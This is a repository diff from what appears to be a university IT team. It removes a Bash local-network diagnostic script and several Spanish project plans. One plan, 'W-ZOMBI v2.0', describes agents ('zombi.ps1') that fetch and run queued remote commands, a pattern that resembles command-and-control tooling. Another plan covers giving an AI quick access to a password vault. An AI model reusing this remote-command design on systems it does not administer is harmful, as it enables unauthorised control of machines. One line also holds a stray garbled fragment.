Write-Report " - Máscara: 255.255.255.0"
Write-Report " - Gateway: $Gateway"
Write-Report " - DNS Primario: 10.0.100.10 (dc-dasuten)"
Write-Report " - DNS Secundario: 8.8.8.8"
Write-Report " - Suffix DNS: dasuten.utnlr"
Write-Report ""
Write-Report "3. **Verificaciones previas:**"
Write-Report " - Confirmar que $RecommendedSrvIP y $RecommendedPcIP no están en uso"
Write-Report " - Verificar firewall (permitir ICMP, puertos 389, 88, 445, 53)"
Write-Report " - Mantener Tailscale activo como respaldo"
Write-Report ""
Write-Report "4. **Comandos de prueba post-configuración:**"
Write-Report " ```powershell"
Write-Report " # Probar conectividad local"
Write-Report " Test-NetConnection $RecommendedSrvIP"
Write-Report " "
Write-Report " # Probar resolución DNS"
Write-Report " Resolve-DnsName dc-dasuten.dasuten.utnlr"
Write-Report " "
Write-Report " # Probar puertos del dominio"
Write-Report " Test-NetConnection 10.0.100.10 -Port 389"
Write-Report " ```"
Write-Report ""
# 9. Resumen final
Write-Log "9. Generando resumen final..."
Write-Report "## 9. Resumen del Diagnóstico"
Write-Report "- **Adaptador de red**: $($NetworkAdapter.Name) ($($NetworkAdapter.Status))"
Write-Report "- **IP Configurada**: $IPAddress/$PrefixLength"
Write-Report "- **Gateway**: $(if($Gateway) {$Gateway} else {"No configurado"})"
Write-Report "- **Subred**: $Subnet"
Write-Report "- **DNS Servers**: $(if($DNSServers) {$DNSServers -join ', '} else {"No configurado"})"
Write-Report "- **Internet**: $(if($InternetTest) {"✅ Alcanzable"} else {"❌ No alcanzable"})"
Write-Report "- **srv-dasu local**: $(if($SrvDasuTest) {"✅ Alcanzable"} else {"⚠️ No alcanzable"})"
Write-Report "- **Tailscale**: $(if(Test-Command "tailscale") {"✅ Instalado"} else {"⚠️ No instalado"})"
Write-Report ""
Write-Report "### Archivos generados:"
Write-Report "- Log detallado: $LogFile"
Write-Report "- Reporte completo: $ReportFile"
Write-Report ""
Write-Report "### Próximos pasos:"
Write-Report "1. Si la conectividad local falla, verificar configuración del router ISP"
Write-Report "2. Configurar IPs estáticas según recomendaciones"
Write-Report "3. Probar AD-Join después de configurar comunicación local"
Write-Report "4. Mantener Tailscale como respaldo para acceso remoto"
Write-Report ""
Write-Report "*Diagnóstico completado: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')*"
docs/proy/P2601_Dasuten/proc/scripts/diagnostico_red_local.sh
-337
View File
@@ -1,337 +0,0 @@
#!/bin/bash
# Script de diagnóstico automático para red local
# Uso: ./diagnostico_red_local.sh [interface]
# Ejemplo: ./diagnostico_red_local.sh vmbr0
set -e
# Colores para output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Variables
INTERFACE="${1:-vmbr0}"
LOG_FILE="/tmp/diagnostico_red_local_$(date +%Y%m%d_%H%M%S).log"
REPORT_FILE="/tmp/reporte_red_local_$(date +%Y%m%d_%H%M%S).md"
# Funciones de utilidad
log() {
echo -e "${BLUE}[INFO]${NC} $1" | tee -a "$LOG_FILE"
}
success() {
echo -e "${GREEN}[SUCCESS]${NC} $1" | tee -a "$LOG_FILE"
}
warning() {
echo -e "${YELLOW}[WARNING]${NC} $1" | tee -a "$LOG_FILE"
}
error() {
echo -e "${RED}[ERROR]${NC} $1" | tee -a "$LOG_FILE"
}
check_dependencies() {
local deps=("ip" "ping" "awk" "grep" "tee")
local missing=()
for dep in "${deps[@]}"; do
if ! command -v "$dep" &> /dev/null; then
missing+=("$dep")
fi
done
if [ ${#missing[@]} -gt 0 ]; then
error "Dependencias faltantes: ${missing[*]}"
return 1
fi
# Dependencias opcionales
if command -v "nmap" &> /dev/null; then
HAS_NMAP=true
else
HAS_NMAP=false
warning "nmap no encontrado. El escaneo de red será limitado."
fi
if command -v "jq" &> /dev/null; then
HAS_JQ=true
else
HAS_JQ=false
fi
return 0
}
check_interface() {
if ! ip link show "$INTERFACE" &> /dev/null; then
error "Interfaz $INTERFACE no encontrada"
echo "Interfaces disponibles:"
ip link show | awk -F': ' '/^[0-9]+:/ {print $2}' | grep -v lo
return 1
fi
if [ "$(cat /sys/class/net/"$INTERFACE"/operstate 2>/dev/null)" != "up" ]; then
warning "Interfaz $INTERFACE no está activa (operstate: $(cat /sys/class/net/"$INTERFACE"/operstate 2>/dev/null))"
fi
return 0
}
get_interface_info() {
log "Obteniendo información de la interfaz $INTERFACE..."
echo "=== INFORMACIÓN DE INTERFAZ ===" | tee -a "$REPORT_FILE"
ip addr show "$INTERFACE" | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
# Extraer IPs configuradas
IPS=$(ip addr show "$INTERFACE" | awk '/inet / {print $2}')
if [ -z "$IPS" ]; then
warning "No hay IPs configuradas en $INTERFACE"
else
success "IPs configuradas:"
echo "$IPS" | while read -r ip; do
echo " - $ip"
done | tee -a "$REPORT_FILE"
fi
}
get_routing_info() {
log "Obteniendo información de enrutamiento..."
echo "=== TABLA DE RUTAS ===" | tee -a "$REPORT_FILE"
ip route show | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
# Detectar gateway predeterminado
DEFAULT_GW=$(ip route show default | awk '/default/ {print $3}')
if [ -n "$DEFAULT_GW" ]; then
success "Gateway predeterminado: $DEFAULT_GW"
echo "Gateway: $DEFAULT_GW" | tee -a "$REPORT_FILE"
# Probar conectividad al gateway
log "Probando conectividad al gateway $DEFAULT_GW..."
if ping -c 3 -W 2 "$DEFAULT_GW" &> /dev/null; then
success "Gateway alcanzable"
echo "Gateway alcanzable: Sí" | tee -a "$REPORT_FILE"
else
warning "Gateway no alcanzable"
echo "Gateway alcanzable: No" | tee -a "$REPORT_FILE"
fi
else
warning "No se encontró gateway predeterminado"
echo "Gateway: No encontrado" | tee -a "$REPORT_FILE"
fi
# Detectar subred local
LOCAL_SUBNET=$(ip route show | grep "link src" | awk '{print $1}' | head -1)
if [ -n "$LOCAL_SUBNET" ]; then
success "Subred local detectada: $LOCAL_SUBNET"
echo "Subred local: $LOCAL_SUBNET" | tee -a "$REPORT_FILE"
else
warning "No se pudo detectar subred local"
echo "Subred local: No detectada" | tee -a "$REPORT_FILE"
fi
}
check_dhcp_info() {
log "Verificando información DHCP..."
echo "=== INFORMACIÓN DHCP ===" | tee -a "$REPORT_FILE"
# Verificar archivos de lease DHCP
DHCP_FILES=("/var/lib/dhcp/dhclient.leases" "/var/lib/dhclient/dhclient.leases")
for file in "${DHCP_FILES[@]}"; do
if [ -f "$file" ]; then
log "Analizando $file..."
if grep -q "interface.*$INTERFACE" "$file" 2>/dev/null; then
success "Se encontraron leases DHCP para $INTERFACE"
echo "Archivo DHCP: $file" | tee -a "$REPORT_FILE"
# Extraer información relevante
grep -A10 -B2 "interface.*$INTERFACE" "$file" | \
grep -E "(lease|starts|ends|option|fixed-address)" | \
head -20 | tee -a "$REPORT_FILE"
break
fi
fi
done
if ! grep -q "Archivo DHCP:" "$REPORT_FILE"; then
warning "No se encontraron leases DHCP para $INTERFACE"
echo "DHCP: No se encontraron leases" | tee -a "$REPORT_FILE"
fi
echo "" | tee -a "$REPORT_FILE"
}
scan_local_network() {
if [ -z "$LOCAL_SUBNET" ]; then
warning "No se puede escanear red local (subred no detectada)"
return 1
fi
log "Escaneando red local $LOCAL_SUBNET..."
echo "=== ESCANEO DE RED LOCAL ===" | tee -a "$REPORT_FILE"
if [ "$HAS_NMAP" = true ]; then
# Escaneo rápido con nmap
log "Ejecutando escaneo rápido con nmap..."
nmap -sn "$LOCAL_SUBNET" 2>/dev/null | \
grep "Nmap scan report" | \
head -20 | \
tee -a "$REPORT_FILE"
# Contar dispositivos
DEVICE_COUNT=$(nmap -sn "$LOCAL_SUBNET" 2>/dev/null | grep "Nmap scan report" | wc -l)
success "Dispositivos detectados: $DEVICE_COUNT"
echo "Total dispositivos: $DEVICE_COUNT" | tee -a "$REPORT_FILE"
else
# Método alternativo usando ping y arp
warning "Usando método básico de detección (sin nmap)..."
# Ping a broadcast (puede no funcionar en todas las redes)
log "Probando detección básica..."
ping -c 2 -b "$(echo "$LOCAL_SUBNET" | cut -d'/' -f1 | sed 's/0$/255/')" &> /dev/null || true
# Mostrar tabla ARP
ip neigh show | grep -v "FAILED" | \
head -20 | \
tee -a "$REPORT_FILE"
DEVICE_COUNT=$(ip neigh show | grep -v "FAILED" | wc -l)
echo "Dispositivos en tabla ARP: $DEVICE_COUNT" | tee -a "$REPORT_FILE"
fi
echo "" | tee -a "$REPORT_FILE"
}
check_tailscale() {
log "Verificando estado de Tailscale..."
echo "=== ESTADO TAILSCALE ===" | tee -a "$REPORT_FILE"
if command -v tailscale &> /dev/null; then
tailscale status 2>/dev/null | tee -a "$REPORT_FILE"
# Extraer IP de Tailscale
TAILSCALE_IP=$(tailscale status --json 2>/dev/null | \
$([ "$HAS_JQ" = true ] && echo "jq -r '.Self.TailscaleIPs[0]'" || echo "grep -oE '100\.[0-9]+\.[0-9]+\.[0-9]+' | head -1"))
if [ -n "$TAILSCALE_IP" ]; then
success "Tailscale IP: $TAILSCALE_IP"
echo "IP Tailscale: $TAILSCALE_IP" | tee -a "$REPORT_FILE"
else
warning "Tailscale no parece estar conectado"
echo "Tailscale: No conectado" | tee -a "$REPORT_FILE"
fi
else
warning "Tailscale no está instalado"
echo "Tailscale: No instalado" | tee -a "$REPORT_FILE"
fi
echo "" | tee -a "$REPORT_FILE"
}
generate_recommendations() {
log "Generando recomendaciones..."
echo "=== RECOMENDACIONES ===" | tee -a "$REPORT_FILE"
# Recomendación de IP local
if [ -n "$LOCAL_SUBNET" ]; then
BASE_NET=$(echo "$LOCAL_SUBNET" | cut -d'/' -f1 | cut -d'.' -f1-3)
echo "Para configuración local entre srv-dasu y pc-dasu0:" | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
echo "1. **IPs recomendadas (fuera de rango DHCP común):**" | tee -a "$REPORT_FILE"
echo " - srv-dasu: ${BASE_NET}.205/24" | tee -a "$REPORT_FILE"
echo " - pc-dasu0: ${BASE_NET}.100/24" | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
echo "2. **Configuración de red:**" | tee -a "$REPORT_FILE"
echo " - Gateway: $(echo "$DEFAULT_GW" || echo "[gateway-del-router]")" | tee -a "$REPORT_FILE"
echo " - Máscara: 255.255.255.0 (/24)" | tee -a "$REPORT_FILE"
echo " - DNS Primario: 10.0.100.10 (dc-dasuten)" | tee -a "$REPORT_FILE"
echo " - DNS Secundario: 8.8.8.8" | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
echo "3. **Verificaciones previas:**" | tee -a "$REPORT_FILE"
echo " - Confirmar que ${BASE_NET}.205 y ${BASE_NET}.100 no están en uso" | tee -a "$REPORT_FILE"
echo " - Verificar que el firewall permite ICMP y puertos necesarios" | tee -a "$REPORT_FILE"
echo " - Tailscale debe permanecer activo como respaldo" | tee -a "$REPORT_FILE"
else
echo "No se pudo generar recomendaciones específicas (subred no detectada)" | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
echo "Recomendaciones generales:" | tee -a "$REPORT_FILE"
echo "1. Identificar manualmente la subred del router ISP" | tee -a "$REPORT_FILE"
echo "2. Usar IPs estáticas fuera del rango DHCP del router" | tee -a "$REPORT_FILE"
echo "3. Mantener Tailscale como ruta de failover" | tee -a "$REPORT_FILE"
fi
echo "" | tee -a "$REPORT_FILE"
}
generate_summary() {
echo "=== RESUMEN DEL DIAGNÓSTICO ===" | tee -a "$REPORT_FILE"
echo "Fecha: $(date)" | tee -a "$REPORT_FILE"
echo "Hostname: $(hostname)" | tee -a "$REPORT_FILE"
echo "Interfaz analizada: $INTERFACE" | tee -a "$REPORT_FILE"
echo "Estado interfaz: $(cat /sys/class/net/"$INTERFACE"/operstate 2>/dev/null || echo "desconocido")" | tee -a "$REPORT_FILE"
echo "Gateway: ${DEFAULT_GW:-No detectado}" | tee -a "$REPORT_FILE"
echo "Subred local: ${LOCAL_SUBNET:-No detectada}" | tee -a "$REPORT_FILE"
echo "Tailscale: $(if command -v tailscale &> /dev/null; then echo "Instalado"; else echo "No instalado"; fi)" | tee -a "$REPORT_FILE"
echo "" | tee -a "$REPORT_FILE"
echo "Archivos generados:" | tee -a "$REPORT_FILE"
echo " - Log detallado: $LOG_FILE" | tee -a "$REPORT_FILE"
echo " - Reporte completo: $REPORT_FILE" | tee -a "$REPORT_FILE"
}
main() {
echo "========================================="
echo " DIAGNÓSTICO DE RED LOCAL - srv-dasu"
echo "========================================="
echo ""
# Inicializar archivos
> "$LOG_FILE"
> "$REPORT_FILE"
# Verificar dependencias
if ! check_dependencies; then
exit 1
fi
# Verificar interfaz
if ! check_interface; then
exit 1
fi
# Ejecutar diagnósticos
get_interface_info
get_routing_info
check_dhcp_info
scan_local_network
check_tailscale
generate_recommendations
generate_summary
echo ""
success "Diagnóstico completado exitosamente"
echo ""
echo "Para configurar IP local en $INTERFACE, edite:"
echo " sudo nano /etc/network/interfaces"
echo ""
echo "Agregue las líneas (adaptando la IP según recomendaciones):"
echo " post-up ip addr add 192.168.1.205/24 dev $INTERFACE"
echo " pre-down ip addr del 192.168.1.205/24 dev $INTERFACE"
echo ""
echo "Luego reinicie el servicio de red:"
echo " sudo systemctl restart networking"
}
# Ejecutar script principal
main "$@"
docs/proy/P2602_Backups/P2602_backups.md
+1 -1
View File
@@ -275,4 +275,4 @@ Directorio: /mnt/ns8Disco3/dtic-BACKUPS/bkps-SERVIDORes/<nombre_vm>/
- **Bitácoras**: Consultar en DB vía `./adn/tools/run db evento:listar`
- **ADN**: [Ontología](../../../adn/01_ontologia.md) | [Proyectos](../../../adn/07_proyectos.md)
- **Proyecto Relacionado**: [P2601 DASUTEN](../P2601_Dasuten/P2601_dasuten.md) (srv-dasu backups)
- **Proyecto Relacionado**: [P2601 DASUTEN](../../ambito/dtic-DASUTEN/P2601_dasuten.md) (srv-dasu backups)
docs/proy/P2603_Bitacoras/P2603_bitacoras.md
-90
View File
@@ -1,90 +0,0 @@
# P2603 - Sistema de Bitácoras (dtic-BITACORAs)
> Manifiesto de Proyecto | Referencia: [`adn/07_proyectos.md`](../../../adn/07_proyectos.md)
## Identificación
| Campo | Valor |
| :--- | :--- |
| **Código** | P2603 |
| **Nombre** | Sistema de Bitácoras Web |
| **Estado** | ⏳ En Ejecución |
| **Inicio** | 03/03/2026 |
| **Fin Estimado** | Por definir |
## Objetivo
Evolucionar el registro manual de operaciones (archivos `.md`) hacia una **aplicación web** con arquitectura frontend/backend que permita:
1. **Registro en tiempo real** de entradas de bitácora mediante API REST.
2. **Consulta visual** de la actividad diaria agrupada por nodo y proyecto.
3. **Compatibilidad** con el formato I-F-D-E del ADN (exportación a Markdown).
4. **Estética unificada** con el dashboard del proyecto P2601.
## Stakeholders
| Rol | Persona | Visibilidad |
| :--- | :--- | :--- |
| **Responsable Técnico** | Lic. Ricardo MONLA | Operador directo |
| **Dirección de TIC** | (Jerárquico superior) | Dashboard asíncrono |
## Nodos Involucrados
### Nodos Exclusivos (Core)
| Nodo | IP | Rol en el Proyecto |
| :--- | :--- | :--- |
| [**srv-ns8**](../../../nodos/srv-ns8.md) | `10.0.10.8` | Servidor de la aplicación (Docker) |
## Herramientas
| Herramienta | Uso |
| :--- | :--- |
| **React 18 + TypeScript** | Frontend SPA |
| **Vite** | Build tool y dev server |
| **Node.js + Express** | Backend API REST |
| **PostgreSQL 15** | Base de datos relacional |
| **Docker Compose** | Orquestación de servicios |
---
## Progreso
```
Fase 1: ██░░░░░░░░ 20% Base de Datos y API
Fase 2: ░░░░░░░░░░ 0% Interfaz de Usuario (UI)
Fase 3: ░░░░░░░░░░ 0% Módulos de Exportación
Fase 4: ░░░░░░░░░░ 0% Despliegue y Producción
Fase 5: ░░░░░░░░░░ 0% Integración CLI ADN
```
---
## Hitos Clave
| Fecha | ID | Estado | Hito |
| :--- | :--- | :---: | :--- |
| 03/03 | INIT | ⏳ | Inicialización del proyecto. Creación de `dtic-BITACORAs/` con esquema DB y APIs. |
| — | UI01 | 📍 | Frontend: Vista de bitácora diaria con entradas I-F-D-E agrupadas por nodo. |
| — | API01 | 📍 | Backend: CRUD completo de entradas, nodos y bitácoras. |
| — | EXP01 | 📍 | Exportador a Markdown compatible con el ADN. |
| — | PROD | 📍 | Despliegue en producción (srv-ns8, Nginx reverse proxy). |
| 07/03 | ADN01 | 📍 | Automatización Ruby del ADN: Implementación de herramientas CLI unificadas para validación, generación y contexto (Plan 260307-1400). |
## Arquitectura
```
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Frontend │ │ Backend │ │ Database │
│ React/Vite │◄──►│ Node.js/Express │◄──►│ PostgreSQL 15 │
│ Puerto 5173 │ │ Puerto 3001 │ │ Puerto 5432 │
└─────────────────┘ └─────────────────┘ └─────────────────┘
│ │
└──────────────────────┘
Docker Compose
```
## Referencias
- **Bitácoras**: Consultar en DB vía `./adn/tools/run db evento:listar`
- **ADN**: [Ontología](../../../adn/01_ontologia.md) | [Proyectos](../../../adn/07_proyectos.md) | [Bitácora](../../../adn/02_bitacora.md)
- **Base Legacy**: [servicios/bitacoras/](../../../servicios/bitacoras/README.md)
docs/proy/P2604_Mejoras-ADN/P2604.01.01_Estandarizacion-Ayudas-ADN.md
-76
View File
@@ -1,76 +0,0 @@
# Plan: Estandarización de Ayudas en Pantalla para Herramientas ADN
**Fecha:** 17 de marzo de 2026
**Autor:** Sistema ADN
**Versión:** 1.0
**Ubicación:** `docs/proy/P2604_Mejoras-ADN/plan/P2604.01.01_Estandarizacion-Ayudas-ADN.md`
**Estado:** ⏳ En Ejecución
## 📋 Resumen Ejecutivo
Estandarizar el formato y contenido de las ayudas en pantalla (--help) para todas las herramientas del ecosistema ADN, utilizando el formateador de ayuda estandarizado (`adn/tools/core/help_formatter.rb`) para garantizar consistencia, reutilización y mantenibilidad.
## 📅 Fases de Implementación
### ✅ **FASE 1: Análisis y Creación de Estándar (Completado)**
#### Semana 1: Análisis Inicial
- [x] **1.1:** Análisis de ayudas actuales en subcomandos CLI
- [x] **1.2:** Creación de plantilla estándar de ayuda usando HelpFormatter
#### Semana 2: Implementación Crítica
- [x] **1.3:** Actualización de subcomando principal (ayuda.rb)
- [x] **1.4:** Actualización de subcomandos críticos (jornada.rb, nodos.rb, db.rb)
- [x] **1.5:** Actualización de subcomandos intermedios (generar.rb, proceso.rb, conocimiento.rb)
#### Semana 3: Implementación Completa
- [x] **1.6:** Actualización de subcomandos (msp.rb, ssh.rb, triggers.rb, contexto.rb, backup.rb ✅) y pendientes (plan.rb, tailscale.rb, estados.rb, salud.rb, validador.rb, wzombi.rb 📍)
- [ ] **1.7:** Verificación y pruebas de consistencia
### ⏳ **FASE 2: Documentación y Soporte (Pendiente)**
#### Semana 4: Documentación
- [ ] **2.1:** Documentación de guías para desarrolladores sobre el nuevo estándar
- [ ] **2.2:** Integración de verificaciones automáticas en CI (si aplica)
## 🔧 Herramientas Utilizadas
- Ruby CLI (ADN): Subcomandos en `adn/tools/cli/` que requieren estandarización de ayuda
- Help Formatter (`adn/tools/core/help_formatter.rb`): Componente central para formateo consistente de ayudas
## 👥 Stakeholders
| Rol | Persona | Visibilidad |
| :--- | :--- | :--- |
| **Responsable Técnico** | Lic. Ricardo MONLA | Operador directo |
| **Dirección de TIC** | (Jerárquico superior) | Dashboard asíncrono |
| **Desarrolladores ADN** | Equipo de desarrollo | Uso diario de herramientas |
## 🖥️ Nodos Involucrados
Este proyecto se enfoca en las herramientas CLI del ecosistema ADN, por lo que no involucra nodos de infraestructura específicos. Los cambios se aplicarán a nivel de código en el repositorio.
## 📊 Progreso
```
Fase 1: ████████░░ 85% Implementación (85% completado)
Fase 2: ░░░░░░░░░░ 0% Documentación y Soporte
```
## 📖 Comandos ADN (Referencia)
```bash
# Ver ayuda principal
./adn/tools/run ayuda
# Ver ayuda de un subcomando específico
./adn/tools/run ayuda jornada
./adn/tools/run ayuda nodos
./adn/tools/run ayuda db
```
## 🔗 Referencias
- **ADN**: [Principios Rectores](../../../adn/06_gobernanza.md) | [Herramienta CLI](../../../adn/README.md#herramienta-cli-adn-toolsrun)
- **Help Formatter**: [`adn/tools/core/help_formatter.rb`](../../../adn/tools/core/help_formatter.rb)
- **Subcomandos CLI**: [`adn/tools/cli/`](../../../adn/tools/cli/)
docs/proy/P2604_Mejoras-ADN/P2604.02.01_Generacion-Proyectos-ADN.md
-66
View File
@@ -1,66 +0,0 @@
# P2604.02.01 - Plan: Herramienta de Generación de Proyectos ADN
**Fecha:** 17 de marzo de 2026
**Autor:** Antigravity (IA ADN)
**Estado:** ✅ Completado
**Proyecto Padre:** [P2604 - Mejoras ADN](../P2604_Mejoras-ADN.md)
## 📋 Objetivo
Automatizar la creación de estructuras de proyectos (planes, hitos, tareas) en el ecosistema ADN para garantizar consistencia en la nomenclatura y ubicación de los archivos en `docs/proy/`.
## 📅 Fases de Implementación
### **Fase 1: Estructura y Lógica Base (Completado)**
- [x] **1.A:** Desarrollo de `adn/tools/proy/proy.rb` para despacho de comandos.
- [x] **1.B:** Implementación de `GeneradorProy` en `generador.rb` con lógica de rutas inteligentes.
- [x] **1.C:** Integración de plantillas dinámicas en `plantillas.rb`.
### **Fase 2: Integración al Ecosistema (Completado)**
- [x] **2.A:** Registro del subcomando `proy` en el entrypoint principal `adn/tools/run`.
- [x] **2.B:** Soporte para parámetros avanzados (`--proy`, `--fase`) y normalización de títulos.
| **2.C** | ✅ | Validación de creación automática de directorios según código de proyecto. |
---
## 📊 Progreso
```
Fase 1: ██████████ 100% Estructura y Lógica Base
Fase 2: ██████████ 100% Integración al Ecosistema
```
---
## 📑 Plantillas Disponibles
La herramienta `proy` permite generar los siguientes componentes estandarizados:
| Tipo | Propósito | Formato |
| :--- | :--- | :--- |
| **`plan`** | Plan de ejecución principal de una fase | `PROY.FASE_Titulo.md` |
| **`subplan`** | Detalle técnico o procedimiento específico | `PROY.FASE_Subplan.md` |
| **`mejora`** | Propuesta o registro de mejora puntual | `PROY.FASE_Mejora.md` |
| **`incidente`** | Documentación de fallos y su resolución | `PROY.FASE_Incidente.md` |
| **`tarea`** | Seguimiento de una tarea individual compleja | `PROY.FASE_Tarea.md` |
### 🚀 Ejemplos de Uso
```bash
# Crear un plan para la fase 2 del proyecto P2604
./adn/tools/run proy nuevo plan --proy:P2604 --fase:02 "Generación de Documentos"
# Crear un registro de mejora sin fase específica
./adn/tools/run proy nuevo mejora --proy:P2601 "Optimización de Red"
# Crear una tarea dentro de una fase
./adn/tools/run proy nuevo tarea --proy:P2602 --fase:1.2 "Validación rclone"
```
> 💡 **Nota**: Todos los archivos generados incluyen automáticamente la sección de **📊 Progreso** con barras Unicode pre-configuradas al 0% o con ejemplos listos para editar.
---
## 🔗 Referencias
- **Herramienta:** `adn/tools/proy/`
- **EntryPoint:** `adn/tools/run proy`
- **Gobernanza:** [06_gobernanza.md](../../../adn/06_gobernanza.md)
docs/proy/P2604_Mejoras-ADN/P2604.03.01_Plan-W-ZOMBI-v2.0.md
-53
View File
@@ -1,53 +0,0 @@
# P2604.03.01 - Plan de Implementación W-ZOMBI v2.0 (Despliegue Limpio)
> Proyecto: P2604 - Mejoras ADN | Estado: ⏳ Planificación
## Contexto
Se requiere reemplazar la herramienta legacy `adn/tools/sonda_w-zombi` por la nueva versión modular v2.0 (ubicada en `docs/proy/P2604_Mejoras-ADN/w-zombi/w-zombi_v2.0`). Para mantener un ecosistema higiénico y evitar monolitos indeseados, se optó por un enfoque de **"borrón y cuenta nueva"**.
## Objetivos
1. **Archivado Histórico**: Mover la antigua sonda a `adn/tools/_hist/sonda_w-zombi` preservando su estado.
2. **Despliegue Limpio**: Copiar la limpia arquitectura v2.0 directamente en `adn/tools/w-zombi`.
3. **Integración ADN-CLI**: Modificar el CLI (`adn/tools/run`) para soportar `w-zombi` como namespace enקום de `sonda_w-zombi`.
4. **Preservación de Datos**: Importar el archivo `telemetria.log` de la antigua base de datos antes de darla de baja.
## Tareas
### Fase 1: Backup e Histerización (10 min)
- [x] Revertir repositorio a estado limpio para `sonda_w-zombi`.
- [x] Mover directorio original `sonda_w-zombi` a `adn/tools/_hist/`.
- [x] Respaldar `telemetria.log` original a `adn/tools/w-zombi/data/telemetria.log`.
### Fase 2: Despliegue Estructural (20 min)
- [x] Copiar contenido limpio de `w-zombi_v2.0` al nuevo directorio `adn/tools/w-zombi/`.
- [x] Ajustar `lib/wzombi/routes/zombi.rb` para usar asignación de entorno (ej. `WZ_HOST`) con un fallback fallback `100.111.195.4`.
- [x] Inicializar `data/cmd.json` con `{ "id": 0, "cmd": "NO_CMD" }`.
### Fase 3: Integración ADN-CLI (20 min)
- [x] Crear `adn/tools/cli/wzombi.rb` con la clase `SubcomandoWZombi` referenciando el nuevo directorio.
- [x] Modificar `adn/tools/run` para registrar el subcomando `wzombi` vinculándole a la nueva ubicación.
### Fase 4: Verificación (10 min)
- [x] Ejecutar `./adn/tools/run wzombi ayuda`.
- [x] Enviar comando de prueba: `./adn/tools/run wzombi cmd "hostname"`.
- [x] Ejecutar `./adn/tools/run wzombi start` y verificar puerto 8000.
- [x] Verificar recepción de logs (Ej. `ping`).
## Riesgos y Mitigación
- **Riesgo**: Pérdida de conectividad con agentes activos si la IP del host cambia en `zombi.ps1`.
- **Mitigación**: Usar variables de entorno (ej. `WZ_HOST`) para inyectar la IP correcta en el generador de PS1.
---
## 📊 Progreso
```
Fase 1: ██████████ 100% Backup e Histerización
Fase 2: ██████████ 100% Despliegue Estructural
Fase 3: ██████████ 100% Integración ADN-CLI
Fase 4: ██████████ 100% Verificación Final
```
---
**Registro de Avance**: 100% (✅ COMPLETADO)
docs/proy/P2604_Mejoras-ADN/P2604.04.01_Estandarizacion-Barras-Progreso.md
-47
View File
@@ -1,47 +0,0 @@
# P2604.04.01 - Plan: Estandarización de Barras de Progreso
**Fecha:** 18 de marzo de 2026
**Autor:** Antigravity (IA ADN)
**Estado:** ✅ FINALIZADO
**Proyecto Padre:** [P2604 - Mejoras al ADN](P2604_Mejoras-ADN.md)
## 📋 Objetivo
Unificar la representación visual del avance de los proyectos y sus fases mediante una notación basada en barras Unicode (`█`, `░`). Esto permite un diagnóstico visual rápido de la salud de los proyectos siguiendo el principio de **Menos es Más**.
## 📅 Fases de Implementación
### **Fase 1: Definición de Estándar (Completada)**
- [x] **1.A:** Definir caracteres Unicode para la barra (`█` para completado, `░` para pendiente).
- [x] **1.B:** Establecer longitud estándar de 10 caracteres para representar 10% por bloque.
- [x] **1.C:** Documentar formato: `Fase N: ██████░░░░ 60% Nombre`.
### **Fase 2: Ejecución en P2604 (Completada)**
- [x] **2.A:** Aplicar barras en el manifiesto principal de P2604.
- [x] **2.B:** Verificar alineación y legibilidad en terminal/visor MD.
### **Fase 3: Propagación a P2601 (Completada)**
- [x] **3.A:** Identificar fases en `P2601_dasuten.md`.
- [x] **3.B:** Implementar sección de progreso con barras.
- [x] **3.C:** Vincular porcentajes con los hitos completados.
### **Fase 4: Consolidación Normativa (Completada)**
- [x] **4.A:** Agregar la notación visual a la hebra [04_iconografia.md](../../../adn/04_iconografia.md).
- [x] **4.B:** Actualizar plantilla de proyectos y hebra 07.
---
## 📊 Progreso
```
Fase 1: ██████████ 100% Definición de Estándar
Fase 2: ██████████ 100% Ejecución en P2604
Fase 3: ██████████ 100% Propagación a P2601
Fase 4: ██████████ 100% Consolidación Normativa
```
---
## 🔗 Referencias
- **Hebra Iconografía:** [04_iconografia.md](../../../adn/04_iconografia.md)
- **Hebra Proyectos:** [07_proyectos.md](../../../adn/07_proyectos.md)
- **Ejemplo Maestro:** [P2604_Mejoras-ADN.md](P2604_Mejoras-ADN.md)
docs/proy/P2604_Mejoras-ADN/P2604.05.01_Estudio-Friccion-IA.md
-43
View File
@@ -1,43 +0,0 @@
# P2604 - Plan de Acción: Estudio de Fricción IA (Antigravity) y Mejora Continua
## Objetivo
Analizar los patrones de uso, toma de decisiones y errores de flujo detectados en conversaciones recientes con IA (Antigravity, específicamente ayer).
**Problema central:** La IA repite ciclos de exploración innecesarios (ej. "no estoy seguro de cómo empezar a buscar contraseñas") lo cual genera fricción.
**Meta:** Diseñar e instrumentar soluciones y directivas que provean el conocimiento/contexto base requerido desde el arranque, propiciando que los pasos de intervención/exploración previa de la IA “tiendan a cero” (más velocidad, menos gasto computacional y asertividad inmediata).
## Fases
### Fase 1: Diagnóstico de la Conversación
- [x] Extraer y revisar logs de *thought* y llamadas a herramientas (tools calls) de ayer.
- [x] Clasificar las vacilaciones de la IA (Listado de directorios repetitivos, dudas sobre secretos y bóvedas, etc).
- [x] Auditoría de `adn/triggers.yml`: Identificado como **OBSOLETO** (sistema deshabilitado, lógica pre-migración DB).
- [x] Cuantificar los "saltos" y comandos ejecutados que se hubiesen evitado con contexto.
### Fase 2: Diseño de Puntos de Mejora al Ecosistema ADN
- [x] Migrar lógica de `triggers.yml` a **DB Hooks/Ruby** para automatizar sincronizaciones manuales.
- [x] Integrar solución para acceso rápido a bóveda de contraseñas (`candados`) en CLI principal (`adn candados`).
- [x] Estandarizar cómo la IA obtiene la topología de la red sin usar herramientas exploratorias innecesarias (- ej: proveer el manifiesto explícitamente).
- [x] Actualizar el canon (`05_ia.md` u otros) de acuerdo con el principio de *Menos es Más*.
### Fase 3: Implementación y Validación
- [x] Implementar cambios en las normas y scripts de arranque.
- [x] Testear con nuevas peticiones y comparar la métrica de *tool calls* utilizados para tareas análogas. (IA) Validado con `adn network` vs exploración manual.
---
## 📊 Progreso
```text
Fase 1: ██████████ 100% Diagnóstico de la Conversación
Fase 2: ██████████ 100% Puntos de Mejora Ecosistema
Fase 3: ██████████ 100% Implementación y Validación
